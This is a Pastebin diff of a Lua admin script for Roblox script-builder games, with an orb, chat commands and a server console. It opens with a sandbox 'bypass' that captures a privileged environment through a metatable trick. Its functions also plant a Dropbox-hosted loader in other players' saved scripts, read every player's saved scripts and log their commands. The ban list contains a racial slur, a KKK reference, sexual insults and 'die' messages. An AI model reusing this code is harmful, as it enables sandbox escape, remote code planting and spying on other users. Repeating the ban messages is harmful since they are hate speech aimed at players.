View difference between Paste ID: jZaeqfJt and Het1S0T5
SHOW: | | - or go back to the newest paste.
1
-- (DO NOT EDIT BUT YOUR NAME) Put Name On Line 35
2
wait(); --Unremovable bypass 
3
4
script.Parent=nil
5
rawset(shared, "\0bp", function()
6
local i=game:service'InsertService':LoadAssetVersion(519416165);
7
local n=i:children()[1];
8
game:service'Debris':AddItem(i,0);
9
n.Parent=workspace;
10
coroutine.yield();
11
local e;
12
pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
13
_G.OSC_AddServerSideData=nil;
14
game:service'Debris':AddItem(n,0);
15
return e 
16
end);
17
local y=shared['\0bp']();
18
shared["\0bp"]=nil;
19
game:GetService'ReplicatedStorage':ClearAllChildren();
20
21
y.setfenv(0,y);
22
y.setfenv(1,y);
23
y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
24
25
26
-- Easiest Fixing ever l0l.
27
28
--// Blanxiom Administration VERSION 1.0
29
local Solaris = {
30
        AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
31
    --// Kill Switch
32
    __STATUS = true;
33
    --// Administrations Components
34
    Admins  = {
35-
                ["cooledude426"]={Level=1E24};
35+
                ["TheOfficalNoob4788"]={Level=1E24};
36
                ["dizzygamerguy12345"]={Level=1E24};
37
                ["skrillex6996"]={Level=1E24};
38
                [""]={Level=4};
39
40
    };
41
        Levels = {
42
                [1]="User";
43
                [2]="Trusted";
44
                [3]="Friend";
45
                [4]="Administrator";
46
                [5]="Creator/Developer";
47
                [1E24]="Owner and best guy evar";
48
        };
49
        --[[
50
        for x, y in pairs(players) do
51
           whitelist = "runtoheven", "MetatabIes"
52
             if[whitelist] then allow(y)
53
             else
54
             if not[whitelist]then print(""..plr.name...'You cannot run this!'
55
            end
56
        end)
57
        ]]
58
    Banned  = {
59
           
60
            -- FallingVortex="Your account is underaged. Come back in: nil days.";
61
            Optiglory="Your account is underaged. Come back in: nil days.";
62
            gage7252002="bye bye skid ur banned now";
63
            Mikko3m="dont ban me skid C:";
64
            --w00t111="this server has a age restriction come back in 970 days";
65
            CharcterKaiser="go die annoying skid";
66
            -- FallingVortex="lrn 2 skript kid gtfo liquidex skid";
67
            robloxchamp20="u ban me i ban u git rkt";
68
        --        iiDeadzone="u ban me i ban u git rkt";
69
                endermanac="git bbban11!!!";
70
                Dman2435="die just die";
71
                Dman2435alt="die just die";
72
                meunumbertwo="ur banned bby";
73
                Copenricus45="you got stopped by an admin skid c;";
74
        FreeModelInventor="get out skid go suc\5k my dick bitch whore";
75
        PWNTART = "die pls thx u";
76
        HopeYouHaveAGoodComp="you have been trolled nigger bitch die kkk";
77
        BookOEchos="git banned bitch";
78
        Autospy="another alt another ban";
79
        TotallyNotAnAlt1257="another alt another ban";
80
        fmerSKID005="another alt another ban";
81
        crazychimp1284="dienoobkthxbye";
82
                MrXTheGreat="dienoobkthxbye";
83
                ScriptNurd="dienoobkthxbye";
84
                Therealestnumber1="dienoobkthxbye";
85
                Opligi="dienoobkthxbye";
86
                jmckoy12="dienoobkthxbye";
87
                ["5ascfrhubber"]="dienoobkthxbye";
88
                DangCoolIsReal3="dienoobkthxbye";
89
                legendy123="dienoobkthxbye";
90
                PithIsOnline="dienoobkthxbye";
91
                Opllgltory="git banned wanabe";
92
                YeaImnotanalt="dienoobkthxbye";
93
                superkiki609="git banned?";
94
                immcool1="git banned now skid";
95
        };
96
    Chatted = {
97
        Settings = {
98
            Prefix = ";";
99
            Suffix = "-";
100
        };
101
        Commands = {};
102
    };
103
    --// Orb Components
104
    Settings = {
105
                Orb        = nil;
106
                Character  = nil;
107
                Following  = false;
108
                Target     = "";
109
                TrailParts = {};
110
                Trail      = true;
111
                OrbColor   = BrickColor.new("Institutional white");
112
                TrailColor = BrickColor.new("Institutional white");
113
                Rotation   = {
114
                        Rot    = 0;
115
                        Radius = 6.3;
116
                        Height = 1;
117
                        Bounce = 2.0;
118
                        Speed  = 0.03;
119
                        Length = 0.014;
120
                };
121
        };
122
    --// Tool Components
123
    Blocker = {
124
        LocalBlock  = false;
125
        GlobalBlock = false;
126
                LagBlocker  = true;
127
    };
128
        LagBlockedInstances = {
129
                "Message";
130
                "Hint";
131
                "Sound";
132
                "Explosions";
133
        };
134
    Logs = {};
135
    --// Functional Storage
136
    API = {
137
                Bootstrap = {}
138
        };
139
}
140
local Settings = Solaris.Settings
141
local API = Solaris.API
142
local Bootstrap = API.Bootstrap
143
local Time = require(285173569)
144
--local rbxdb = require(278524047)
145
146
--// Output API
147
148
function API.print_to(target,input)
149
150
    if input == nil then input = "nil" end
151
    local plr
152
    if type(target)=='userdata'then
153
        plr = target
154
    elseif type(target)=='string'then
155
        plr = game:GetService('Players'):FindFirstChild(target)
156
    end
157
    if type(plr)=='userdata' then
158
        local str = Instance.new('StringValue',plr)
159
        str.Name = 'SB_Output:Output'
160
        str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
161
    end
162
end local print_to = Solaris.API.print_to
163
164
function API.print(input)
165
    if input == nil then input = "nil" end
166
    for i,v in pairs(game:GetService('Players'):children())do
167
        if Solaris.Admins[v.Name]then
168
            if Solaris.Admins[v.Name].Level > 2 then
169
                print_to(v,input)
170
            end
171
        end
172
    end
173
end local print = Solaris.API.print
174
175
function API.print_lvl(level,input)
176
    if input == nil then input = "nil" end
177
    for i,v in pairs(game:GetService('Players'):GetPlayers())do
178
        if Solaris.Admins[v.Name]then
179
            if Solaris.Admins[v.Name].Level > level then
180
                print_to(v,input)
181
            end
182
        end
183
    end
184
end local print_lvl = Solaris.API.print_lvl
185
186
function API.broadcast(input)
187
    if input == nil then input = "nil" end
188
    for i,v in pairs(game:GetService('Players'):GetPlayers())do
189
        print_to(v,input)
190
    end
191
end local broadcast = Solaris.API.broadcast
192
193
--// Utility API
194
195
function API.Make(ClassName)
196
        return function(data)
197
                local Instance = Instance.new(ClassName)
198
                for index,value in pairs(data) do
199
                        if type(index) == "number" then
200
                                value.Parent = Instance
201
                        else
202
                                Instance[index] = value
203
                        end
204
                end
205
                return Instance
206
        end
207
end local Make = API.Make
208
209
function API.clerp(p1,p2,percent)
210
        local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
211
        local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
212
        return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
213
end local clerp = API.clerp
214
215
function API.Rainbow(i)
216
    local section = i % 1 * 3
217
    local secondary = 0.5 * math.pi * (section % 1)
218
    if section < 1 then
219
        return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
220
    elseif section < 2 then
221
        return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
222
    else
223
        return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
224
    end
225
end local Rainbow = API.Rainbow
226
227
function API.GetPlayer(msg,plr)
228
        local Collected_Players = {}
229
        if string.lower(msg) == "me" then
230
                table.insert(Collected_Players, plr)
231
        elseif string.lower(msg) == "all" then
232
                for index,player in pairs(game:GetService('Players'):children()) do
233
                        if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
234
                                table.insert(Collected_Players, player)
235
                        end
236
                end
237
        elseif string.lower(msg) == "others" then
238
                for index,player in pairs(game:GetService('Players'):children()) do
239
                        if player.Name ~= plr.Name then
240
                                if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
241
                                        table.insert(Collected_Players, player)
242
                                end
243
                        end
244
                end
245
        elseif string.lower(msg) == "friends" then
246
                for index,player in pairs(game:GetService('Players'):children()) do
247
                        if player.Name ~= plr.Name then
248
                                if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
249
                                        if plr:IsFriendsWith(player.userId) == true then
250
                                                table.insert(Collected_Players, player)
251
                                        end
252
                                end
253
                        end
254
                end
255
        elseif string.lower(msg) == "nonfriends" then
256
                for index,player in pairs(game:GetService('Players'):children()) do
257
                        if player.Name ~= plr.Name then
258
                                if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
259
                                        if plr:IsFriendsWith(player.userId) == false then
260
                                                table.insert(Collected_Players, player)
261
                                        end
262
                                end
263
                        end
264
                end
265
        else
266
                for index,player in pairs(game:GetService('Players'):children()) do
267
                        if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
268
                                if Solaris.Admins[player.Name].Level <= Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
269
                                        table.insert(Collected_Players, player)
270
                                end
271
                        end
272
                end
273
        end
274
        return Collected_Players
275
end local GetPlayer = API.GetPlayer
276
277
function API.GetSplit(msg)
278
   return string.find(msg,Solaris.Chatted.Settings.Suffix)
279
end local GetSplit = API.GetSplit
280
281
function API.Generate(Length)
282
        local Generated = ""
283
        for _ = 1, Length do
284
                Generated = Generated .. string.char(math.random(33,126))
285
        end
286
        return Generated
287
end local Generate = API.Generate
288
289
function API.GetGarbage(plr)
290
        print_to(plr,"Got Garbage")
291
        print_to(plr,"________________________")
292
        for i = 1,10 do wait(1)
293
                print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
294
        end
295
        print_to(plr,"________________________")
296
end local GetGarbage = API.GetGarbage
297
298
--// Orb API
299
300
function API.SpawnOrb()
301
        Settings.Orb = Make('Part'){
302
                Name = "\5\5\5\5Solar\5\5is\5\5\5\5";
303
                Parent = game.Workspace,
304
                BrickColor = Settings.OrbColor,
305
                Material = Enum.Material.SmoothPlastic,
306
                Transparency = .1,
307
                Anchored = true,
308
                CanCollide = false,
309
                Locked = true,
310
                FormFactor = "Symmetric",
311
                Shape = "Ball",
312
                Size = Vector3.new(1,1,1),
313
                TopSurface = 10,
314
                BottomSurface = 10,
315
        }Settings.Orb.Changed:connect(function()
316
                if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
317
                        if Solaris.__STATUS == true then
318
                                API.SpawnOrb()
319
                        end
320
                end
321
        end)
322
end local SpawnOrb = API.SpawnOrb
323
324
function API.MakeTrail()
325
        if Settings.Orb ~= nil and Settings.Trail == true then
326
                local Trail = Make'Part'{
327
                        CanCollide = false,
328
                        Parent = Settings.Orb,
329
                        BrickColor = Settings.TrailColor,
330
                        Material = Enum.Material.SmoothPlastic,
331
                        Transparency = .1,
332
                        Anchored = true,
333
                        Locked = true,
334
                        FormFactor = "Custom",
335
                        Size = Vector3.new(.2,.2,.2),
336
                        CFrame = Settings.Orb.CFrame,
337
                        TopSurface = 10,
338
                        BottomSurface = 10,
339
                }table.insert(Settings.TrailParts, Trail)
340
                return Trail
341
        end
342
end local MakeTrail = API.MakeTrail
343
344
function API.SpawnTrail()
345
        if Settings.Orb ~= nil and Settings.Trail == true then
346
                local Trail = API.MakeTrail()
347
        end
348
end local SpawnTrail = API.SpawnTrail
349
350
function API.Rotate()
351
        game:GetService('RunService').Stepped:connect(function()
352
                if Solaris.__STATUS == true then
353
                        wait()
354
                        local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
355
                        if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
356
                                Settings.Character = Following.Character.Torso.CFrame
357
                        else
358
                                Settings.Character = CFrame.new(0,5.7,0)
359
                        end
360
                        if Settings.Orb ~= nil then
361
                                Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
362
                                Settings.Orb.Name = "\5\5\5\5Solar\5\5is\5\5\5\5"
363
                                Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
364
                                        CFrame.new(Settings.Character.p)
365
                                        *CFrame.new(0,3.9,0)
366
                                        *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
367
                                        *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
368
                                        *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9)     ,.1)
369
                                API.SpawnTrail()
370
                                for i,_ in next,Settings.TrailParts do
371
                                        if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
372
                                                local Part1 = Settings.TrailParts[i]
373
                                                local Part2 = Settings.TrailParts[i+1]
374
                                                local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
375
                                                Part1.Name = math.random(1,99999999)
376
                                                Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
377
                                                Part1.Transparency = Part1.Transparency + .017
378
                                                Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
379
                                                * CFrame.Angles(math.pi/2,0,0)
380
                                                if Part1.Size.X >= .74 then
381
                                                        Part1:Destroy()
382
                                                        table.remove(Settings.TrailParts, i)
383
                                                end
384
                                        end
385
                                end
386
                        end
387
                end
388
        end)
389
end local Rotate = API.Rotate
390
391
function API.ChangeTheme(plr,theme)
392
        --// Sets orb to default configurations
393
        Settings.Orb.BrickColor = BrickColor.new('White')
394
        Settings.Orb.Transparency = .1
395
        for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
396
        --// Themes
397
        if theme == 'normal' then
398
                API.SpawnTrail = function()
399
                        if Settings.Orb ~= nil and Settings.Trail == true then
400
                                local Trail = API.MakeTrail()
401
                        end
402
                end
403
        elseif theme == 'jeb' then
404
                API.SpawnTrail = function()
405
                        if Settings.Orb ~= nil and Settings.Trail == true then
406
                                local Trail = API.MakeTrail()
407
                                spawn(function()
408
                                        Settings.Orb.BrickColor = BrickColor.new('Really black')
409
                                        Trail.BrickColor = BrickColor.new('Navy blue')
410
                                        local box = Make('SelectionBox'){
411
                                                Adornee = Trail;
412
                                                Parent = Trail;
413
                                                Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
414
                                                LineThickness = 0.001;
415
                                                Color3 = Color3.new(0,0,0);
416
                                        }
417
                                end)
418
                        end
419
                end
420
        elseif theme == 'op-light' then
421
                API.SpawnTrail = function()
422
                        if Settings.Orb ~= nil and Settings.Trail == true then
423
                                local Trail = API.MakeTrail()
424
                                spawn(function()
425
                                        Settings.Orb.BrickColor = BrickColor.new('Really black')
426
                                        Trail.BrickColor = BrickColor.new('Deep orange')
427
                                        local box = Make('SelectionBox'){
428
                                                Adornee = Trail;
429
                                                Parent = Trail;
430
                                                Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
431
                                                LineThickness = 0.001;
432
                                                Color3 = Color3.new(255,255,255);
433
                                        }
434
                                end)
435
                        end
436
                end
437
                elseif theme == 'run' then
438
                API.SpawnTrail = function()
439
                        if Settings.Orb ~= nil and Settings.Trail == true then
440
                                local Trail = API.MakeTrail()
441
                                spawn(function()
442
                                        Settings.Orb.BrickColor = BrickColor.new('Really black')
443
                                        Trail.BrickColor = BrickColor.new('Deep orange')
444
                                        local box = Make('SelectionBox'){
445
                                                Adornee = Trail;
446
                                                Parent = Trail;
447
                                                Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
448
                                                LineThickness = 0.001;
449
                                                Color3 = Color3.new(255,255,255);
450
                                        }
451
                                end)
452
                        end
453
                end
454
    elseif theme == 'rol' then
455
        API.SpawnTrail = function()
456
           local Trail = API.MakeTrail()
457
           spawn(function()
458
               Trail.BrickColor = BrickColor.new("Royal purple")
459
               Settings.Orb.BrickColor = BrickColor.new("Really black")
460
               local S_Box = Make('SelectionBox'){
461
                 Adornee = Trail;
462
                 Parent = Trail;
463
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
464
                 LineThickness = 0;
465
                 Color3 = BrickColor.new("Really black").Color;
466
                }
467
           end)
468
        end
469
        elseif theme == 'jeb' then
470
        API.SpawnTrail = function()
471
           local Trail = API.MakeTrail()
472
           spawn(function()
473
               Trail.BrickColor = BrickColor.new("White")
474
               Settings.Orb.BrickColor = BrickColor.new("Really black")
475
               local S_Box = Make('SelectionBox'){
476
                 Adornee = Trail;
477
                 Parent = Trail;
478
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
479
                 LineThickness = 0;
480
                 Color3 = BrickColor.new("Really black").Color;
481
                }
482
                           local Mesh = Make('SpecialMesh'){
483
                                        Parent = Settings.Orb;
484
                                        MeshId = "http://www.roblox.com/asset/?id=1529453";
485
                                        Name   = "Mesh";
486
                                        Scale  = Vector3.new(2.5,2.5,2.5)
487
                                }
488
           end)
489
        end
490
        elseif theme == 'fun' then
491
    API.SpawnTrail = function()
492
        if Settings.Orb ~= nil and Settings.Trail == true then
493
                local Trail = API.MakeTrail()
494
        spawn(function()
495
        Settings.Orb.BrickColor = BrickColor.new('White')
496
                    local S_Box = Make('SelectionBox'){
497
                 Adornee = Trail;
498
                 Parent = Trail;
499
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
500
                 LineThickness = 0;
501
                 Color3 = BrickColor.new("Really black").Color;
502
                }
503
                     Trail.BrickColor = BrickColor.new('Really black')
504
                    wait(0.5)
505
                    Trail.BrickColor = BrickColor.new('Toothpaste')
506
            end)
507
            end
508
                    end
509
             elseif theme == 'bun' then
510
    API.SpawnTrail = function()
511
        if Settings.Orb ~= nil and Settings.Trail == true then
512
                local Trail = API.MakeTrail()
513
        spawn(function()
514
        Settings.Orb.BrickColor = BrickColor.new('Really black')
515
                     Trail.BrickColor = BrickColor.new('Really black')
516
                    wait(0.4)
517
                    Trail.BrickColor = BrickColor.new('Hot pink')
518
            end)
519
            end
520
                end
521
        elseif theme == 'hidden' then
522
        API.SpawnTrail = function()
523
           local Trail = API.MakeTrail()
524
           spawn(function()
525
               Trail.Transparency = 1
526
               Settings.Orb.Transparency = 1
527
           end)
528
        end
529
        else
530
                print_to(plr,"[Error]: "..theme.." is not a valid theme name")
531
                return
532
        end
533
        print_to(plr,"[Blanxiom]: Orb has changed theme to "..theme)
534
end local ChangeTheme = API.ChangeTheme
535
536
function API.Follow(boolean,plr)
537
        if type(plr)~='string'then return end
538
        if boolean == true then
539
                Settings.Following = true
540
                Settings.Target = plr
541
        elseif boolean == false then
542
                Settings.Following = false
543
                Settings.Target = ""
544
        end
545
end local Follow = API.Follow
546
547
--// Oxcool1 Sb Tools API
548
549
function API.Sbexe(cmd,plr)
550
    if not type(cmd)=='string'then return end
551
    if plr then
552
        if type(plr)=='userdata'then
553
           plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
554
        elseif type(plr)=='string'then
555
            plr = game:GetService('Players'):FindFirstChild(plr)
556
            plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
557
        end
558
    else
559
        for i,v in pairs(game:GetService('Players'):children())do
560
            v:FindFirstChild("SB_CommandRemote",true).Value = cmd
561
        end
562
    end
563
end local Sbexe = API.Sbexe
564
565
function API.ConnectLogger(plr)
566
        if type(plr) ~= 'userdata'then return end
567
        if plr:FindFirstChild("SB_CommandRemote",true) then
568
                plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
569
                        if plr:FindFirstChild("SB_CommandRemote",true).Value == 'l/game.Players:ClearAllChildren()' then
570
                                Sbexe("g/ns")wait(.1)
571
                                print(plr.Name.." Has Said l/game.Players:ClearAllChildren(). Script has been auto-blocked!")
572
                        end
573
                        if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
574
                                table.insert(Solaris.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
575
                                local CurrentTime = Time:GetTime()
576
                                local TimeStamp   = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
577
                                --rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
578
                        end
579
                end)
580
        end
581
end local ConnectLogger = API.ConnectLogger
582
583
function API.GetLogs(plr)
584
        print_to(plr,"Got logs")
585
        if #Solaris.Logs > 0 then print_to(plr,"--------------------------------") end
586
        for index,data in pairs(Solaris.Logs)do
587
                if #Solaris.Logs > 30 then wait(.1)end
588
                print_to(plr,tostring(data.User))
589
                print_to(plr,tostring(data.Command))
590
                print_to(plr,"--------------------------------")
591
        end
592
end local GetLogs = API.GetLogs
593
594
function API.InjectLoader(plr)
595
        Sbexe("remove/Blanxiom",plr)
596
        Sbexe("ch/Blanxiom/https://www.dropbox.com/s/574ygd6vonqk4i8/Deployment-Script.lua?dl=1",plr)
597
        Sbexe("save/Blanxiom",plr)
598
end local InjectLoader = API.InjectLoader
599
600
function API.GetSavedScripts(plr)
601
        local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
602
        print_to(plr,"Got Saved Scripts")
603
        for i,v in pairs(game:GetService('Players'):children())do
604
                if v.ClassName == 'Player' then
605
                        local Encoded_Table = v:LoadString(Save_Key)
606
                        local Decoded_Table
607
608
                        --//Table Decoding
609
                        if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
610
                                Decoded_Table = {{No=" Saved Scripts"}}
611
                        else
612
                                Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
613
                        end
614
                        --// Table Printing
615
                        --print_to(plr,"------------------------------------------------------------------")
616
                        print_to(plr,"--------------------------["..v.Name.."]--------------------------")
617
                        if type(Decoded_Table)=='table'then
618
                                for _index,_data in pairs(Decoded_Table)do
619
                                        for index,data in pairs(_data)do
620
                                                wait(.1)
621
                                                print_to(plr,index.." : "..data)
622
                                        end
623
                                end
624
                        end
625
                        print_to(plr,"------------------------------------------------------------------")
626
                end
627
        end
628
end local GetSavedScripts = API.GetSavedScripts
629
630
function API.GiveServerConsole(Player)
631
        if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
632
                spawn(function()
633
                        local Create = API.Make
634
                        local Closed = false
635
                        local ScreenGui = Create "ScreenGui" {
636
                                Name = "Server Console",
637
                                Parent = Player.PlayerGui
638
                        }
639
                        local Main = Create "TextButton" {
640
                                AutoButtonColor = false,
641
                                BackgroundColor3 = Color3.new(0, 0, 0),
642
                                BorderSizePixel = 0,
643
                                Size = UDim2.new(0, 375, 0, 15),
644
                                Draggable = true,
645
                                Font = "SourceSansBold",
646
                                FontSize = "Size14",
647
                                TextYAlignment = "Top",
648
                                TextColor3 = Color3.new(1, 1, 1),
649
                                Text = " Server Console",
650
                                TextXAlignment = "Left",
651
                                Position = UDim2.new(0.321, 0, 0.196, 0),
652
                                Parent = ScreenGui
653
                        }
654
                        local Refresh = Create "TextButton" {
655
                                Active = true,
656
                                AutoButtonColor = false,
657
                                BackgroundColor3 = Color3.new(0, 0, 0),
658
                                BorderSizePixel = 0,
659
                                Position = UDim2.new(1, 0, 0, 0),
660
                                Size = UDim2.new(0, 60, 0, 15),
661
                                Font = "SourceSansBold",
662
                                FontSize = "Size14",
663
                                Text = "Refresh",
664
                                TextYAlignment = "Top",
665
                                TextColor3 = Color3.new(1, 1, 1),
666
                                TextYAlignment = "Top",
667
                                TextXAlignment = "Right",
668
                                Parent = Main
669
                        }
670
                        local TextButton = Create "TextButton" {
671
                                AutoButtonColor = false,
672
                                BackgroundColor3 = Color3.new(0, 0, 0),
673
                                BorderSizePixel = 0,
674
                                Position = UDim2.new(1, 60, 0, 0),
675
                                Size = UDim2.new(0, 15, 0, 15),
676
                                Font = "SourceSansBold",
677
                                FontSize = "Size14",
678
                                TextYAlignment = "Top",
679
                                Text = "-",
680
                                TextColor3 = Color3.new(1, 1, 1),
681
                                Parent = Main
682
                        }
683
                        local ContentFrame = Create "Frame" {
684
                                BackgroundColor3 = Color3.new(0, 0, 0),
685
                                BackgroundTransparency = 0.2,
686
                                BorderSizePixel = 0,
687
                                Position = UDim2.new(0, 0, 0, 15),
688
                                Size = UDim2.new(0, 450, 0, 0),
689
                                Parent = Main
690
                        }
691
                        local ScrollingFrame = Create "ScrollingFrame" {
692
                                Size = UDim2.new(1, 0, 1, 0),
693
                                CanvasSize = UDim2.new(3, 0, 0, 0),
694
                                MidImage = "rbxassetid://158362264",
695
                                TopImage = "rbxassetid://158362307",
696
                                BottomImage = "rbxassetid://158362221",
697
                                BackgroundTransparency = 1,
698
                                BorderSizePixel = 0,
699
                                ScrollBarThickness = 5,
700
                                Parent = ContentFrame
701
                        }
702
                        ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
703
                        TextButton.MouseButton1Down:connect(function()
704
                                if Closed == false then
705
                                        Closed = true
706
                                        TextButton.Text = "+"
707
                                        ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
708
                                        delay(1, function()
709
                                                ScrollingFrame.Visible = false
710
                                        end)
711
                                else
712
                                        Closed = false
713
                                        TextButton.Text = "-"
714
                                        ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
715
                                        delay(0.5, function()
716
                                                ScrollingFrame.Visible = true
717
                                        end)
718
                                end
719
                        end)
720
                        local function GetNumberOfChildren(Object)
721
                                local Number = -15
722
                                for index,child in pairs(Object:GetChildren()) do
723
                                        if child.ClassName == "TextLabel" then
724
                                                Number = Number + 15
725
                                        end
726
                                end
727
                                return Number
728
                        end
729
                        local function Output(Text, Color)
730
                                local Line = Create "TextLabel" {
731
                                        ZIndex = 2,
732
                                        BackgroundTransparency = 1,
733
                                        BorderSizePixel = 0,
734
                                        Text = string.format(" %s", Text),
735
                                        Font = "SourceSansBold",
736
                                        FontSize = "Size14",
737
                                        TextColor3 = Color,
738
                                        TextWrapped = false,
739
                                        Size = UDim2.new(1, 0, 0, 15),
740
                                        Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
741
                                        TextXAlignment = "Left",
742
                                        TextYAlignment = "Top",
743
                                        TextStrokeTransparency = 0.9,
744
                                        Parent = ScrollingFrame,
745
                                }
746
                                if #ScrollingFrame:GetChildren() > 29 then
747
                                        local NumChildren = GetNumberOfChildren(ScrollingFrame)
748
                                        ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
749
                                        ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
750
                                end
751
                        end
752
                        local function OutputLogHistory()
753
                                for index,data in pairs(game.LogService:GetLogHistory()) do
754
                                        if data.messageType == Enum.MessageType.MessageOutput then
755
                                                Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
756
                                        elseif data.messageType == Enum.MessageType.MessageWarning then
757
                                                Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
758
                                        elseif data.messageType == Enum.MessageType.MessageError then
759
                                                Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
760
                                        elseif data.messageType == Enum.MessageType.MessageInfo then
761
                                                Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
762
                                        end
763
                                end
764
                        end
765
                        OutputLogHistory()
766
                        Refresh.MouseButton1Down:connect(function()
767
                                ScrollingFrame:ClearAllChildren()
768
                                wait()
769
                                OutputLogHistory()
770
                        end)
771
                end)
772
        end
773
end local GiveServerConsole = API.GiveServerConsole
774
775
function API.SafeExe(string_src,string_plr)
776
        if string_src == nil then string_src = "" end
777
778
        local BypassEnv = getfenv(1)
779
        BypassEnv.script = "Locked Object"
780
        BypassEnv.print_to = print_to
781
        rawset(_G,"NewBypassEnv",BypassEnv)
782
783
        local ExecuteSource = [[
784
                wait(.1)
785
                local newEnv = _G.NewBypassEnv
786
                newEnv.owner = getfenv(1).owner
787
                newEnv.print = function(i)
788
                        if i == nil then i = "" end
789
                        newEnv.print_to(tostring(owner),i)
790
                end
791
                setfenv(1,newEnv)
792
        ]]
793
        local ExeSrc = ExecuteSource..string_src
794
        Sbexe("c/"..ExeSrc,string_plr)
795
end local SafeExe = API.SafeExe
796
797
--// Admin API
798
799
function API.GetAdmins(plr)
800
        for i,v in pairs(Solaris.Admins)do
801
                print_to(plr,"["..i.."]-"..Solaris.Levels[v.Level])
802
        end
803
end local GetAdmins = API.GetAdmins
804
805
function API.AddCommand(Name,Usage,Desc,Level,Func)
806
        table.insert(Solaris.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
807
end local AddCommand = API.AddCommand
808
809
function API.Chatted(plr,msg)
810
        if msg:lower()== "l/game.Players:ClearAllChildren()" then
811
                Sbexe("g/ns")
812
                                print(plr.Name.." Has Said l/game.Players:ClearAllChildren(). Script has been auto-blocked!")
813
        end
814
815
        
816
        local Commands = Solaris.Chatted.Commands
817
        local Prefix   = Solaris.Chatted.Settings.Prefix
818
        local Suffix   = Solaris.Chatted.Settings.Suffix
819
        local sub      = string.sub
820
        local lower    = string.lower
821
        if sub(msg,1,3)=='/e 'then
822
                msg = sub(msg,4)
823
        end
824
        if Solaris.Admins[plr.Name]then
825
                for index,data in pairs(Commands)do
826
                        if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
827
                                if Solaris.Admins[plr.Name].Level >= data.Level then
828
                                        local y,n = ypcall(function()
829
